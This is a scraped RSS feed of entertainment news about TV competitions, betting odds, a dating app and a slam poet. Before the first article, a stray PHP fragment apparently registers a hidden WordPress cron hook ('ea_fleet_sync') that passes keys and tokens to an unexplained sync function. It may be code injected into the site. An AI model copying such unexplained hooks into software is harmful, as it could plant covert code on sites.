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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); competition – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Apr 2021 15:06:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png competition – Brief News https://briefnews.eu 32 32 Magic Mike Competition Series Ordered at HBO Max, From EP Channing Tatum https://briefnews.eu/magic-mike-competition-series-ordered-at-hbo-max-from-ep-channing-tatum/ https://briefnews.eu/magic-mike-competition-series-ordered-at-hbo-max-from-ep-channing-tatum/#respond Fri, 09 Apr 2021 15:06:04 +0000 https://briefnews.eu/magic-mike-competition-series-ordered-at-hbo-max-from-ep-channing-tatum/

It’s not bro time, it’s showtime at HBO Max. The streamer has greenlit The Real Magic Mike (working title), an unscripted competition series from executive producers Channing Tatum and Steven Soderbergh.

Premiering later this year, The Real Magic Mike is described as an “exhilarating” and “sexy” series that “will transform a group of men into real-life Magic Mikes,” according to the official logline. “Ten men who have ‘lost their magic’ will come together in a competition series like no other. They will bare their souls and more as they evolve their bodies, learn to perform spectacular routines, and develop a new level of self-confidence. As they strip off their clothes, they will rid themselves of emotional baggage and regain their mojo but only one will be the Real Magic Mike. He will win a cash prize and an opportunity to perform on the blockbuster Magic Mike Live stage in Las Vegas.”

A nationwide casting search is currently underway.

“From box office hits to sold-out live shows, Magic Mike has proven to be a pop culture juggernaut that continues to delight people across the globe,” Sarah Aubrey, Head of Original Content at HBO Max, said in a statement. “We’re excited to work with Channing, Steven and the team behind Magic Mike Live to continue this successful franchise that celebrates self-confidence and sexiness both inside and out.”

Added President of Warner Bros. Unscripted Television Mike Darnell: “Magic Mike is one of Warner Bros.’ most iconic franchises. “We couldn’t be more excited to be working with Channing, Steven and HBO Max on an all-new vision of this amazing and legendary brand. We’re looking forward to giving fans a front row seat as we search the country for undiscovered talent.”

The original Magic Mike was released in 2012. Directed by Soderbergh, the film was loosely based on the experiences of Tatum, who got his start as a stripper in Tampa, Fla. The movie went on to gross nearly $ 170 million at the box office and spawned a sequel — 2015’s Magic Mike XXL — and a Vegas stage show.

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]]> https://briefnews.eu/magic-mike-competition-series-ordered-at-hbo-max-from-ep-channing-tatum/feed/ 0 Drag Race Recap: Was the Right Queen Ru-booted From the Competition? https://briefnews.eu/drag-race-recap-was-the-right-queen-ru-booted-from-the-competition/ https://briefnews.eu/drag-race-recap-was-the-right-queen-ru-booted-from-the-competition/#respond Sat, 13 Feb 2021 11:36:52 +0000 https://briefnews.eu/drag-race-recap-was-the-right-queen-ru-booted-from-the-competition/

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Reboots and Ru-vivals may be all the rage, but they rarely match the quality of the original. Enter this week’s episode of RuPaul’s Drag Race.

Three seasons after The Bossy Rossy Show wowed audiences with its terrifying pickles and sexy drag babies, Ross Mathews’ iconique late-night talker was brought back for another round on Friday — and it was all over the place. (Sure, there were a few highlights, but it’s not a great night of performances when someone receives the highest honors for playing a mime. Even if she did emote for the gods.)

This came after a thoroughly satisfying reading mini challenge, which Gottmik won with a series of savage reads about Kandy Muse identifying with the pug community, Tina Burner having a football player’s build, and Utica Queen just being “f–ing weird.” That last one was actually a recurring read throughout the mini game; Tina straight-up asked Utica where she’s hiding the bodies of her victims. Watch the full reading challenge below:

The real gag this week turned out to be Olivia Lux, whose cover as a low-key fierce competitor has officially been blown. Tina even clocked her as a “secret diva,” and she’s not wrong. Not only was Utica furious when Olivia “stole” her part in the improv challenge, but Olivia even threw a little salt into her wound, suggesting, “I might end up in the top again.” And you know what? She did end up in the top. This marks the second maxi challenge win for Olivia, who has yet to end up anywhere close to the bottom. And the more I think about her clever take on the runway theme (pictured above), the more I appreciate her ingenuity.

With all due respect to Miss Lux, however, I think I would have declared Symone this week’s winner. Not only did she bring enough energy to keep her entire improv sketch alive, but I don’t even have words for how good her runway look was. I just sat there slack-jawed, attempting to absorb every inch of this African warrior-inspired masterpiece…

I also have to tip my hat to Gottmik for her brilliant anal bead-inspired look. See that latex number in all its glory, plus each of the other queens’ “Bead It!” runway ensembles, in the video below:

On the other end of the spectrum, a combination of unimpressive improv performances and lackluster runway presentations landed LaLa Ri and Elliott With 2 Ts in the bottom two this week, with Utica narrowly avoiding having to lip sync for her life.

Despite LaLa’s track record for killing lip syncs, Elliott entered their battle with confidence. And from the moment Kelly Clarkson’s “Whole Lotta Woman” started playing, she turned it out. LaLa may have charisma, uniqueness and talent, but Elliott brought the nerve, remaining at or above LaLa’s level the entire time, throwing in the occasional split to sweeten the pot. And those synchronized body rolls! Real talk, neither of these ladies disappointed. In the end, however, the “LaLa Ri Experience” simply wasn’t enough — Ru was forced to send the queen sashaying back to Atlanta.

Do you think this was the right call? (Part of me expected a double shantay, if I’m being honest.) Vote in our poll below, then drop a comment with your thoughts on the episode.

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]]> https://briefnews.eu/drag-race-recap-was-the-right-queen-ru-booted-from-the-competition/feed/ 0 Dancing on Ice: Rebekah Vardy unveils her strategy to stay in the competition and win https://briefnews.eu/dancing-on-ice-rebekah-vardy-unveils-her-strategy-to-stay-in-the-competition-and-win/ https://briefnews.eu/dancing-on-ice-rebekah-vardy-unveils-her-strategy-to-stay-in-the-competition-and-win/#respond Sun, 17 Jan 2021 10:35:55 +0000 https://briefnews.eu/dancing-on-ice-rebekah-vardy-unveils-her-strategy-to-stay-in-the-competition-and-win/

As for how rehearsals have gone for the mother of five, she said she has always been “petrified of the ice, having an injury and falling”. 

“I’ve fallen over pretty much most of my sessions,” Becky added to Express.co.uk and other publications. “But I’ve learned to just go with the fall and you just have to accept it’s part of what you do – none of us want to get injured. 

“But I’m just trying not to focus on it and stress about it too much because I found I was so nervous when I first stepped on the ice that my whole body would tense and then I would keep falling over! 

“I’m trying to stay relaxed and try not think about injuries too much, because you can never predict what’s going to happen when you’re on ice, but I just got hope that get through the competition and and not be taken out by injury.” 

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]]> https://briefnews.eu/dancing-on-ice-rebekah-vardy-unveils-her-strategy-to-stay-in-the-competition-and-win/feed/ 0 Rebel Wilson Set to Host Pooch Perfect Dog Grooming Competition at ABC; Lisa Vanderpump to Serve as Judge https://briefnews.eu/rebel-wilson-set-to-host-pooch-perfect-dog-grooming-competition-at-abc-lisa-vanderpump-to-serve-as-judge/ https://briefnews.eu/rebel-wilson-set-to-host-pooch-perfect-dog-grooming-competition-at-abc-lisa-vanderpump-to-serve-as-judge/#respond Wed, 13 Jan 2021 13:18:00 +0000 https://briefnews.eu/rebel-wilson-set-to-host-pooch-perfect-dog-grooming-competition-at-abc-lisa-vanderpump-to-serve-as-judge/

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ABC is going to the dogs.

Pitch Perfect‘s Rebel Wilson is set to host Pooch Perfect (get it?), a dog-grooming competition ordered at the Alphabet network, it was announced Wednesday.

The eight-episode series will find 10 of the best dog groomers team with their assistants on a series of weekly challenges. Each episode will consist of two challenges: the Immunity Puppertunity challenge and the Ultimutt Challenge showdown. Ahead of elimination, each team will show off their “epic trans-fur-mations” on the “illustrious dogwalk.”

The top three teams will advance to the finale, where they’ll compete for a cash prize and Pooch Perfect‘s first-place trophy. Bravo TV personality Lisa Vanderpump, celebrity dog groomer Jorge Bendersky, and veterinarian Dr. Callie Harris will serve as judges.

Pooch Perfect joins ABC’s ever-expanding unscripted slate, which includes reality series American Idol, The Bachelor (and Bachelorette), Dancing With the Stars and Shark Tank, along with game shows The $ 100,000 Pyramid, Card Sharks, Celebrity Family Feud, Celebrity Wheel of Fortune, The Chase, Don’t, Holey Moley, The Hustler, Match Game, Press Your Luck, To Tell the Truth and Who Wants to Be a Millionaire.

Pooch Perfect is set to premiere this spring. An exact airdate will be announced at a later time.

Does Pooch Perfect sound like quality entertainment for the whole family? Watch Wilson’s big announcement below, then hit the comments with your reactions to the pun-tastic title.

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]]> https://briefnews.eu/rebel-wilson-set-to-host-pooch-perfect-dog-grooming-competition-at-abc-lisa-vanderpump-to-serve-as-judge/feed/ 0 Drag Race Recap: Which Queen Was Divorced From the Competition? https://briefnews.eu/drag-race-recap-which-queen-was-divorced-from-the-competition/ https://briefnews.eu/drag-race-recap-which-queen-was-divorced-from-the-competition/#respond Sat, 18 Apr 2020 07:20:28 +0000 https://briefnews.eu/drag-race-recap-which-queen-was-divorced-from-the-competition/

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With some competitions, the key is to go big or go home. But on RuPaul’s Drag Race, going too big can be the exact thing that sends you packing, as one queen learned the hard way on Friday.

Jan was emotional within the first few minutes of the episode, allegedly heartbroken over her BFF Brita’s elimination. (I say allegedly because several queens expressed their belief that Jan was crying “crocodile tears,” covering for the fact that she was actually upset about not winning the Madonna challenge. And who better than Sherry Pie to sniff out a faker?)

Following this week’s mini challenge — in which the queens put together personalized FabFitFun boxes for one another, delivering them with a generous helping of shade — it was time for the main event: a series of over-the-top advertisements, part of a new drag queen lifestyle brand called Droop. And like most challenges this season, it featured a brief appearance by Dahlia Sin as the broc-ally. (Considering how many times she’s popped up since going home first, is Dahlia the new Vanjie?)

The Biggest Loser‘s Bob Harper dropped by the set as this week’s guest mentor, and he was just as surprised by some of the queens’ performances as I was. Heidi N. Closet, who barely escaped elimination last week, had the judges’ panel howling with her hysterical commercial (which included a Club 96 reference!), while Gigi Goode, the favorite to win Season 2, turned out a final product that Michelle Visage called “clunky.”

Fortunately, everyone turned it out for this week’s runway, a parade of black wedding gowns. My personal favorite runway moments included Widow Von’Du’s veil removal (“Boom! Look at them eyes! She ain’t got no soul!”), Jan eating her wedding ring before turning to reveal the phrase “I Don’t” on her train, and Crystal Methyd coughing up dust in an elaborate Corpse Bride-esque ensemble.

Ru then threw another dramatic wrench into the evening by asking the remaining eight queens which competitor they would eliminate. Literally everyone nominated Widow, and when her turn arrived, she simply said, “The only other video I saw that was as bad mine was Jan’s.” Oof.

Much to my unbridled joy, Heidi was named the winner of this week’s maxi challenge, taking home a well-deserved $ 5,000 cash prize. I was a little surprised to see Gigi and Sherry in the bottom, but I knew they’d both end up being sent to safety.

This left Jan and Widow to battle it out to the tune of Chaka Khan’s “This Is My Night.” While Widow focused on the emotion of the song, Jan pulled out every trick in her arsenal, including literal acrobatics. Like her commercial, it was too much… and Jan was sent packing.

“Thank you so much for this amazing opportunity,” Jan told Ru through tears. “I really did my best, and I hope to make you proud in the future.”

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]]> https://briefnews.eu/drag-race-recap-which-queen-was-divorced-from-the-competition/feed/ 0 The World's Best Premiere: Grade CBS' New Talent Competition Series https://briefnews.eu/the-worlds-best-premiere-grade-cbs-new-talent-competition-series/ https://briefnews.eu/the-worlds-best-premiere-grade-cbs-new-talent-competition-series/#respond Mon, 04 Feb 2019 06:21:02 +0000 http://briefnews.eu/the-worlds-best-premiere-grade-cbs-new-talent-competition-series/ Between the low-scoring game and the lackluster halftime show (Maroon 5 & Co. earned an average grade of “D+” from TVLine readers), there wasn’t a whole lot of talent on display during Sunday’s Super Bowl. After the game, however…

CBS awarded the highly coveted post-Bowl slot to the premiere of The World’s Best, a James Corden-hosted talent competition with an all-star panel of judges: actress Drew Barrymore, drag icon RuPaul Charles and country singer Faith Hill. That unlikely trio collaborated with 50 talented “experts” from across the globe to determine whether each act was worthy of proceeding to the next round. Each act needed at least 75 combined points to make it through.

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The following acts earned enough points to stay in the competition: taekwondo group Kukkiwon (South Korea), vocal trio the TNT Boys (Philippines), country crooner Enkh-Erdene (Mongolia) and one-armed violinist Manami Ito (Japan).

Unfortunately, not everyone received the warm welcome they hoped for; sword swallower Space Cowboy (Australia) turned out to be a one-and-one act. And then there was underwater escape artist Matt Johnson (Great Britain), whose fate — both on the show and in real life — remains in question, as the episode ended with him still trapped in a box.

The World’s Best continues with a new episode on Wednesday (8/7c). Do you think the show lived up to its name? And do you already have a favorite act? Grade the series premiere below, then drop a comment with your full review.

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Dancing on Ice 2019, week four takes place tonight (Sunday, January 27) on ITV at 6pm. The remaining 10 celebrities will be trying to impress the judges Jayne Torvill, Christopher Dean, Ashley Banjo and Jason Gardiner and the audience at home to skate another week. Last week, Richard Blackwood was the second contestant to be eliminated but wh will be next to go?

Who will leave Dancing on Ice 2019 next?

Week four sees bookmakers place their bets on Saira Khan and her partner Mark Hanretty to leave Dancing on Ice next.

She is currently at odds of 2/1 across the bookies’ board to leave the competition.

Coral’s Harry Aitkenhead said: “Saira is our favourite to be the next to depart as she doesn’t seem to hold quite as much public support as some of the others down the bottom of the leaderboard do.

“She’ll have to improve on the ice and secure a good score if she is to survive.”

Jessica Bridge from Ladbrokes added: “It looks like the nation’s siding with the GC over Mr Nasty, and it looks like she’s safe to skate for another week according to the odds as Saira is heavily backed to face the axe.“

WHAT IS DANCING ON ICE REALLY LIKE?

Last week, Saira found herself in the skate-off against actor Richard Blackwood.

The judges were divided over who to save but in the end, Khan was safe for at least one more week.

Gardiner and Banjo voted to save Blackwood, while Torvill and Dean voted for Khan.

As Torvill and Dean are the head judges on the panel, they take it in turns to have the overriding vote if necessary

Torvill had the final say and voted to save Khan, sending Blackwood and skating partner Carlotta Edwards home.

Cricketer Ryan Sidebottom and his partner Brandee Malto were the favourites to leave the competition last week, closely followed by Grease star Didi Conn and her partner Łukasz Różycki.

It looks they might still find themselves in the skate-off this weekend. 

Betfair’s Katie Baylis said: “Ryan Sidebottom was the favourite to go last week with punters but he managed to survive another week.

“However he’s once again the big favourite to leave this weekend at odds of 6/4 with Didi Conn next at 5/2.

“Saira Khan may also be in the danger zone at odds of 7/2 with the GC next at 8/1, although as expected, she appears to be the main draw card this year for viewers and we wouldn’t be surprised to see her make it a long way in this competition.”

Betfair’s odds on Dancing on Ice, next elimination are:

▪ Ryan Sidebottom 6/4

▪ Didi Conn 5/2

▪ Saira Khan 7/2

▪ Gemma Collins 8/1

▪ Jane Danson 14/1

▪ Melody Thornton 25/1

▪ Brian McFadden 25/1

▪ Saara Aalto 25/1

▪ Wes Nelson 33/1

▪ James Jordan 501

Dancing on Ice professional skater, Dan Whiston spoke exclusively to Express.co.uk about who he thinks will leave the competition next.

He said: “The skate-off is very unpredictable and often the judges have an extremely tough decision to make as to whom they send home.

“It really is down to which celebrity brings the performance on the night, who gives it that extra bit of ‘oomph’ and who does a cleaner skate with fewer mistakes.”

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Who will win Dancing on Ice 2019?

At the moment, Strictly professional James Jordan and his professional partner Alexandra Schulman are still the favourites to win the competition.

They are currently at odds of 6/4 to win at Bet365, Skybet and Ladbrokes.

He is closely followed by Love Island’s Wes Nelson and his partner Vanessa Bauer at odds of 7/4 at Coral, Betfair and PaddyPower.

Melody Thornton and her partner Alexander Demetriou are a close third favourite alongside Saara Aalto and Hamish Gaman at odds of 8/1 at Bettered and Marathon Bet.

Aitkenhead from Coral said: “It already seems to look like a two horse race for glory with James and Wes looking head and shoulders above the rest.

“We make James the very narrow favourite and are looking forward to watching a fierce battle on the ice.”

Baylis from Betfair added: “At the other end of the leaderboard it’s now a dead heat for favouritism between James Jordan and Wes Nelson with both at 6/4 to win the series.

“There’s daylight between them and the next celeb in the betting Melody Thornton who is at 7/1 with punters clearly predicting a two-horse race for the title.

DID JASON SELL A STORY ON GEMMA?

Speaking about the 2019 winner, Dan said: “Picking a winner is tough to call this year… I expect the highest scoring skating star to change each and every week. It’s not a cut and dry thing and I’ll potentially set myself up for a fall (pardon the pun) if I give a name too early.

“It will certainly make for a great show though, as the viewers will get the chance to watch a really exciting competition, possibly Dancing on Ice’s most thrilling to date.

“I think predicting which celebrities will compete in the final just yet is another tough call, as everybody is doing so well at the moment.

“I think James Jordan and Melody Thornton are strong contenders for the final but that third spot could go to anybody at this point.

“In past series, there have been injuries that have taken celebrities out of the competition or a celebrity has suddenly turned things around and raced up through the ranks to the top of the leaderboard.

Ex-Pussycat Doll, Melody Thornton added: “I honestly think it’s anyone’s game. I’d love to make it that far. I do love skating and I’d love for my partner to have that success. He deserves it.”

Dancing on Ice airs every Sunday at 6pm on ITV

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“Why isn’t there a better dating app for people in their 30s?” Meyer wondered. So, he decided to create one. And with a unique twist — one that’s taking off in Europe, and maybe soon in the U.S. You heard it here first.

In 2014, Meyer founded Once, the “slow dating” app. Once gives you just one match per day, every day at noon. If you’re both interested in each other, great. If not, you’ll get another match tomorrow. The important thing: The ability to incessantly swipe is gone. On average, millennials spend up to 10 hours a week on dating apps, according to a survey by U.K. dating platform Badoo. Meyer wanted to give them some of their time back. Since the app is free, his goal was to make sure users were still investing in something worthwhile. “The people you match with get your attention for 24 hours,” Meyer says. “We’re giving them something super valuable — the attention of others.”

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When you sign up for Once, you can connect your Facebook or upload a profile picture. Right away, a photo will be sent to you. But it’s not a match — the app wants you to rate the photo to find out your type. Through his online dating research, Meyer discovered that the most likely reason people will match is not based on common interests or likes and dislikes — it’s based on the photo. Surprisingly, though, attractiveness isn’t necessarily the key factor. “It’s more about the way you dress, your hairstyle, if you have tattoos and piercings, the way you took the photo, the location where you took it,” says Meyer. A photo can tell you a lot more about whether you’ll like someone than what they write about themselves in their profile — which is often exaggerated.

Nearly every day, Once gets an email from someone thanking the company for helping them find love.

The app is quickly gaining popularity in Europe and is now available in most Western European countries. When Anna, 26, moved to London from Germany, she signed up for Once because she was looking for something more meaningful than a hookup. She met Joe within a few months and they’ve been together for two years. “I just liked the idea of getting one match every day,” says Anna. “You can meet people that are genuinely looking for a relationship.”

For other couples who met on the app, things have gotten even more serious. Marica, a journalist in Italy, tried Once so she could write about it for work. Daniel was the first person she matched with. Last year, they got married and a few weeks ago, they had a baby. “I was a bit cynical and disillusioned with love,” Marica says. “I did not expect that a match on an app could make me meet my future husband.”

But stateside, Once has not yet caught on. Meyer says this is primarily because the company has not spent time marketing across the pond. “It’s going to cost a lot to market in the U.S.,” he says. “Right now we want to understand the market better and find the right demographic.”

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A few U.S. users told me they were confused when they opened the app and were presented with a photo. It was unclear that they were meant to rate the photo and that it wasn’t a match. Overall, they found the app somewhat unintuitive.

But Meyer is optimistic and thinks slow dating “will be a perfect fit for the U.S.” And he’s happy with his startup’s success so far. Nearly every day, Once gets an email from someone thanking the company for helping them find love. Working in the business of love is much more meaningful to Meyer than any of his previous jobs. “I used to work in finance,” he says. “This is so much more fulfilling.”

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]]> https://briefnews.eu/this-slow-dating-app-takes-a-swipe-at-the-competition/feed/ 0 This Poet Slams the Competition. Is Broadway Next? https://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/ https://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/#respond Thu, 27 Dec 2018 06:29:02 +0000 http://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/ Hands clasped, Mecca Verdell paces slowly under the park’s fluorescent street lights. Night has fallen in Baltimore. Firm and commanding, she launches — from zero to 60 — into the combative opening lines of “Petty,” a poem that unpacks her complicated relationship with her father. Eyes wide, her voice drips with sarcasm as notes of frustration creep into her tone, anger radiating from her like heat waves. “It don’t matter what I say to hurt him,” she says. “The only person who’s roasting is me.”

Before you know it, she shifts and her pace quickens; Verdell’s voice cracks as she reveals why their relationship is so rocky. Suddenly she is gasping, spitting words out almost in a crescendo. Her anger gives way to raw vulnerability as she pours out verses with urgency — like the words must escape from her body. The performance might feel like a roller coaster for listeners, but Verdell is in control: Her rises and falls are timed with precision.

Though young by standards of the slam poetry world, Verdell (aka Meccamorphosis) is a red-hot talent. As a high school senior, Verdell was called the heart of her Baltimore youth team’s inaugural 2016 victory in Brave New Voices, an international youth poetry competition, during a summer of high-profile slam wins for the city’s teams. Drawing on personal experience, Verdell, 21, uses spoken-word poetry to demand attention on charged social issues — like colorism, sexual assault and the disappearance of Black girls — as Baltimore has wrestled with racial tension and political tumult.

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Already, Verdell has been part of two teams that have won the Southern Fried slam poetry competition. In 2018, she was the first Black woman to become the national underground poetry individual champion (NUPIC) at Southern Fried. She finished among the top 14 in the Women of the World Poetry slam in 2018, after entering the competition on a whim at the last minute. She even beat 12 adults — including four of her mentors — in the semi-finals of Baltimore’s Grand Slam in 2016, says Jacob Mayberry, Verdell’s teammate, mentor and colleague at Dewmore Baltimore, a community organization that develops social justice–oriented poetry clubs in local schools, colleges, churches and prisons. But Verdell’s about more than just her own voice. From 2016 till earlier this year, she hosted an internet radio show called SoapBOX Poetry Radio where she interviewed nationally and locally known writers, giving them a platform to amplify their messages. Verdell also organizes youth-focused open-mic nights in Baltimore and teaches for Dewmore Baltimore.

When you hear her speak, when you hear her truth, when you hear her power, it’s shocking for a lot of people.

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Stunned by how much she has achieved, barely out of her teens? Mayberry, who on stage goes by the name Black Chakra, isn’t.

“She is a monster of a different habit,” he says, recalling how Verdell’s transition from a solid youth poet to captivating performer barely took a month because she seized every opportunity to hone the craft.

But not every major change has been as smooth for Verdell, whose family moved around New Jersey about 10 times before she reached high school. As the only one of the five siblings who lived with both of her parents, whose relationship was strained, Verdell couldn’t figure out her role within the family. She flitted among predominantly White schools, where teachers could be insensitive to Black culture. To cope, she became good at turning herself into a “chameleon.” Verdell has a restless mind, so focusing in school was difficult — but acting in plays helped her make sense of these different personalities. Her big debut? Grandma Tzeitel, in a middle school production of Fiddler on the Roof.

In 2012, Verdell moved to Baltimore and attended the all-girls, majority-Black Western High School. For the first time, she belonged, though she had never set foot in the city before. Western didn’t have a theater club, so Verdell followed a friend’s lead and joined the poetry club. Immediately, she caught the bug. Writing poems finally gave Verdell a language to grapple with childhood trauma and mental health challenges she continues to face. Since then, this art form has been both her liberator and her crutch.

But slam poetry isn’t just Verdell’s personal asset; it’s a spark in Baltimore’s fight for equity. “There are lots of ways to heal from trauma, especially the kind of trauma that Baltimore is undergoing and has undergone,” says Gayle Danley, a former national and international poetry slam champion who’s a teaching artist at the Kennedy Center. But the arts, accessible to everyone, offer ways to see the world and process it. There’s always someone who needs your art in Baltimore, a friend had once told Danley, and this well will never run dry.

Verdell calls herself an “organizer of the spirit.” Brion Gill, a mentor and former teammate (whose stage name is Lady Brion), identifies Verdell’s participation in the uprisings after Freddie Gray’s death in 2015 as a transformational moment. As members of Dewmore Baltimore protested, the younger students were encouraged to leave. But Verdell stayed and was arrested alongside her peers. People often look at Verdell’s small stature and expect timidity, says Gill. “But when you hear her speak, when you hear her truth, when you hear her power,” he says, “it’s shocking for a lot of people.”

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Still, her raw talent can be refined. Success is Verdell’s addiction, Mayberry says. She doesn’t always handle failure well, and he’s watched her fall into ruts after teaching classes that don’t go as planned. Verdell is also working on managing her emotions more responsibly while performing so the audience can process her words. You want to control yourself enough to get to the finish line, Verdell explains, and can’t trigger yourself into getting a high score. In slam competitions, a host or organizer usually selects five judges at random from the audience, who score the poet or group on a scale of one to 10. Yet it’s difficult to evoke feelings from a moment of pain without taking the audience back there with her.

Mayberry calls Baltimore the “Golden State Warriors of slam poetry,” because of how many finals the city has made, and Verdell is a player to watch. “Mecca is young, but she’s not afraid to get dirty. She’s scrappy, and she’s sassy and she’s agile,” Danley says. Verdell isn’t afraid to be on the ground when it comes to how she wants to use her poetry as a part of the social justice movement, she says. Gill expects Verdell to “cross-pollinate” her message across mediums like poetry, theater, acting and visual arts, and Mayberry suggests that Broadway could be next, given her multifaceted talents and theater background. But no matter the path, what Verdell wants is clout.

There’s so much talent in Baltimore that’s being swept under the rug, Verdell says, because people don’t know they have a platform. Amid the social tension in Baltimore and the Black community more broadly, everyone is looking for a savior who will take the lead. Verdell wants to help people understand they have this activist within themselves.

She’s doing that, one poem at a time.

Take on America With OZY recently visited Baltimore and invited 100 Black men to discuss the racial and political tension that has plagued the city for years.

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Steve Harvey can’t live down his Miss Universe mistake.

During Monday night’s Miss Universe pageant, which aired live on Fox, Harvey named Miss Costa Rica, Natalia Carvajal, to the top 20 and asked her advice as a fellow television personality. 

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